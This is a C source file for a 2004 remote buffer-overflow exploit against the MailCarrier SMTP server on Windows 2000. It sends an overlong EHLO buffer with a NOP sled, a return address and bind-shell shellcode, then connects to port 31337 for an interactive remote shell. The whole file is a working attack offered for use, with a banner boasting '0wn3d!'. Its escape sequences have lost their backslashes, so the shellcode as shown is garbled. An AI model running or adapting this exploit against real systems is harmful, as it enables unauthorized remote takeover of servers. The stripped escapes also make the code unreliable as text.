/* Remote exploit for MailCarrier by NoPh0BiA,

no@0x00:~/Exploits/MailCarrier$ ./mailcarried-exploit 192.168.0.1
**MailCarrier Buffer Overflow Exploit by NoPh0BiA.**
[x] Connected to: 192.168.0.1 PORT: 25
[x] Sending evil buffer..done.
[x] Trying to connect to port 31337..
[x] Connected to: 192.168.0.1 PORT: 31337
[x] 0wn3d!

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:WINNTsystem32>

Greets to NtWaK0,schap,kane,kamalo,foufs :P
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define PORT 25
#define RPORT 31337
#define RET "xD3x39xD3x77" /*win2k adv server sp4*/

char shellcode[] =
"xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17x4dx81"
"x59x47x83xebxfcxe2xf4xb1x69x0fx47x4dx81x0ax12x1b"
"xd6xd2x2bx69x99xd2x02x71x0ax0dx42x35x80xb3xccx07"
"x99xd2x1dx6dx80xb2xa4x7fxc8xd2x73xc6x80xb7x76xb2"
"x7dx68x87xe1xb9xb9x33x4ax40x96x4ax4cx46xb2xb5x76"
"xfdx7dx53x38x60xd2x1dx69x80xb2x21xc6x8dx12xccx17"
"x9dx58xacxc6x85xd2x46xa5x6ax5bx76x8dxdex07x1ax16"
"x43x51x47x13xebx69x1ex29x0ax40xccx16x8dxd2x1cx51"
"x0ax42xccx16x89x0ax2fxc3xcfx57xabxb2x57xd0x80xcc"
"x6dx59x46x4dx81x0ex11x1ex08xbcxafx6ax81x59x47xdd"
"x80x59x47xfbx98x41xa0xe9x98x29xaexa8xc8xdfx0exe9"
"x9bx29x80xe9x2cx77xaex94x88xacxeax86x6cxa5x7cx1a"
"xd2x6bx18x7exb3x59x1cxc0xcax79x16xb2x56xd0x98xc4"
"x42xd4x32x59xebx5ex1ex1cxd2xa6x73xc2x7ex0cx43x14"
"x08x5dxc9xafx73x72x60x19x7ex6exb8x18xb1x68x87x1d"
"xd1x09x17x0dxd1x19x17xb2xd4x75xcex8axb0x82x14x1e"
"xe9x5bx47x37xe8xd0xa7x27x91x09x10xb2xd4x7dx14x1a"
"x7ex0cx6fx1exd5x0exb8x18xa1xd0x80x25xc2x14x03x4d"
"x08xbaxc0xb7xb0x99xcax31xa5xf5x2dx58xd8xaaxecxca"
"x7bxdaxabx19x47x1dx63x5dxc5x3fx80x09xa5x65x46x4c"
"x08x25x63x05x08x25x63x01x08x25x63x1dx0cx1dx63x5d"
"xd5x09x16x1cxd0x18x16x04xd0x08x14x1cx7ex2cx47x25"
"xf3xa7xf4x5bx7ex0cx43xb2x51xd0xa1xb2xf4x59x2fxe0"
"x58x5cx89xb2xd4x5dxcex8exebxa6xb8x7bx7ex8axb8x38"
"x81x31xb7xc7x85x06xb8x18x85x68x9cx1ex7ex89x47";


struct sockaddr_in hrm,lar;

void shell(int sock)
{
 fd_set  fd_read;
 char buff[1024];
 int n;
 
 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);
 
  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
 
  if( FD_ISSET(sock, &fd_read) ) {
   n=read(sock,buff,sizeof(buff));
   if (n == 0) {
       printf ("Connection closed.n");
       exit(EXIT_FAILURE);
   } else if (n < 0) {
       perror("read remote");
       exit(EXIT_FAILURE);
   }
   write(1,buff,n);
  }
 
  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<=0){
      perror ("read user");
      exit(EXIT_FAILURE);
    }
    write(sock,buff,n);
  }
 }
 close(sock); 
}
int conn(char *ip,int port)
{
	int sockfd;
	hrm.sin_family = AF_INET;
	hrm.sin_port = htons(port);
	hrm.sin_addr.s_addr = inet_addr(ip);
	bzero(&(hrm.sin_zero),8);
	sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&hrm,sizeof(struct sockaddr))) < 0)
	{
	perror("connect");
	exit(0);
	}
	printf("[x] Connected to: %s PORT: %dn",ip,port);
	return sockfd;
}

int main(int argc, char *argv[])
{
	char *buffer = malloc(5530),*crap = malloc(32),*t;
	int x,y;
	if(argc<2)
	{
	printf("Usage: TargetIP.n");
	exit(0);
	}
	printf("**MailCarrier Buffer Overflow Exploit by NoPh0BiA.**n");
	t=argv[1];
	memset(buffer,'',5530);
	memset(crap,0x41,32);
	memset(buffer,0x90,5095);
	strcat(buffer,RET);
	strcat(buffer,crap);
	strcat(buffer,shellcode);
	x = conn(t,PORT);
	printf("[x] Sending evil buffer..");
	sleep(3);
	write(x,"EHLO ",5);
	sleep(1);
	write(x,buffer,5530);
	write(x,"rnrn",4);
	sleep(2);
	close(x);
	printf("done.n");
	printf("[x] Trying to connect to port 31337..n");
	y = conn(t,RPORT);
	printf("[x] 0wn3d!n");
	printf("rn");
	shell(y);
		
}

// www.Syue.com [2004-11-16]